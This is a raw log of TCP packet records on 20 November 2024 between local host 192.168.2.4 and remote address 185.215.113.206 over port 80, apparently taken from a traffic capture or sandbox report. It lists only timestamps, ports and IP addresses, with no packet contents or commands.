Nov 20, 2024 12:57:55.608022928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608026981 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608035088 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608045101 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608052015 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608056068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608067036 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608076096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608076096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608088970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608094931 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608112097 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608133078 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608807087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608818054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608828068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608838081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608848095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608850956 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608859062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608870029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608877897 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608879089 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608890057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608897924 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608903885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608913898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608913898 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608923912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608933926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608939886 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608943939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608953953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608964920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608968973 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608978987 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.608989000 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.608989000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.609004974 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.609028101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.644138098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644159079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644171000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644229889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644234896 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.644247055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644259930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644268036 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.644288063 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.644587994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644598007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644608974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644617081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644629002 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.644659996 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.644777060 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644787073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644798040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644809008 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.644829988 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.644946098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644956112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644963980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644973040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.644974947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.644985914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645003080 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645026922 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645122051 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645132065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645143032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645148039 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645153046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645164013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645173073 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645174980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645198107 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645212889 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645373106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645382881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645392895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645402908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645404100 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645431995 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645553112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645561934 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645570993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645577908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645581007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645590067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645598888 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645600080 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645610094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645623922 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645637989 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645714998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645742893 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645870924 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645881891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645891905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645900011 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645903111 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645915031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645925045 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645925045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645937920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.645951033 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.645965099 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.646049976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.646059990 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.646070004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.646085978 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.646106958 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.646954060 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.646964073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.646975040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.646985054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.646995068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.646996021 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647006035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647011995 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647017956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647027969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647027969 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647053003 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647111893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647123098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647140980 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647164106 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647228003 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647238970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647248030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647258043 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647258043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647270918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647280931 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647281885 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647310019 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647399902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647409916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647420883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647429943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647429943 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647440910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647452116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647454023 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647463083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647480965 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647497892 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647567034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647578001 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647587061 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647595882 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647597075 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647608042 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647618055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647619963 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647628069 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647639036 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647646904 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647649050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647660017 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647666931 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647670031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647682905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647685051 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647692919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647701979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647712946 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647722006 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647727966 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647732973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647744894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647752047 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647753000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647766113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647775888 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647782087 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647785902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647795916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647804976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647809982 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647815943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647825956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647825956 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647847891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647854090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647866011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647876024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647878885 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647886992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647897005 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647906065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647906065 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647917032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647927046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647932053 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647938013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647948027 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647948027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647958994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647969961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647975922 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.647979021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.647990942 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648000956 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.648003101 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648014069 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648020983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.648025036 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648036957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648046970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648047924 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.648056984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648066998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648075104 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.648077011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648088932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648097992 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.648097992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648108959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648116112 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.648118973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648132086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.648135900 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.648149967 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.648173094 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.728982925 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729010105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729021072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729031086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729042053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729058981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729101896 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729129076 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729135036 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729142904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729156017 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729156017 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729167938 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729188919 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729212999 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729322910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729336023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729346991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729353905 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729366064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729378939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729379892 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729404926 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729526997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729538918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729548931 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729554892 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729558945 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729571104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729581118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729581118 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729612112 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729778051 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729788065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729796886 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729805946 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729808092 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729834080 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729847908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729859114 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729857922 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729868889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729880095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729891062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729895115 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.729908943 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.729923964 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.730366945 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730381012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730392933 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730401039 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.730402946 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730413914 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.730416059 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730427980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730433941 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.730438948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730448961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730458975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730460882 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.730478048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730484962 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.730489016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730504990 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730505943 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.730521917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.730545998 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.730782032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730792999 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.730824947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731017113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731026888 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731035948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731045961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731045961 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731051922 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731061935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731071949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731075048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731082916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731092930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731101990 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731103897 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731112957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731122017 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731125116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731137991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731142044 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731148958 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731158018 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731168032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731187105 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731209993 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731709003 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731719971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731729984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731739998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731750965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731753111 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731761932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731772900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731782913 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731789112 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731792927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731803894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731808901 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731813908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731826067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731826067 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731837034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731851101 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731854916 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731862068 CET	80	49756	185.215.113.206	192.168.2.4
